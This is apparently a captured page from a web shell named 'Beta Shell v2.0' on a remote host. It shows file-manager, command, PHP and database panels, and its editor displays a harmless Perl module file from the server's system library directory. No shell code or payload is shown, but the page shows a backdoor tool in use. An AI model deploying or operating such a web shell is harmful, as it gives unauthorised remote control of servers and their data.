Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
lib64
/
perl5
/
vendor_perl
/
B
/
Hooks
/
OP
/
Check
/
Install
Upload
4 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
Files.pm
676 B
-rw-r--r--
2019-11-06 14:49:06
Edit
Del
hook_op_check.h
345 B
-rw-r--r--
2017-07-31 16:25:08
Edit
Del
Editing: Files.pm
(676 B)
Path: /usr/lib64/perl5/vendor_perl/B/Hooks/OP/Check/Install/Files.pm
Back
package B::Hooks::OP::Check::Install::Files; $self = { 'deps' => [], 'inc' => '', 'libs' => '', 'typemaps' => [] }; @deps = @{ $self->{deps} }; @typemaps = @{ $self->{typemaps} }; $libs = $self->{libs}; $inc = $self->{inc}; $CORE = undef; foreach (@INC) { if ( -f $_ . "/B/Hooks/OP/Check/Install/Files.pm") { $CORE = $_ . "/B/Hooks/OP/Check/Install/"; last; } } sub deps { @{ $self->{deps} }; } sub Inline { my ($class, $lang) = @_; if ($lang ne 'C') { warn "Warning: Inline hints not available for $lang language "; return; } +{ map { (uc($_) => $self->{$_}) } qw(inc libs typemaps) }; } 1;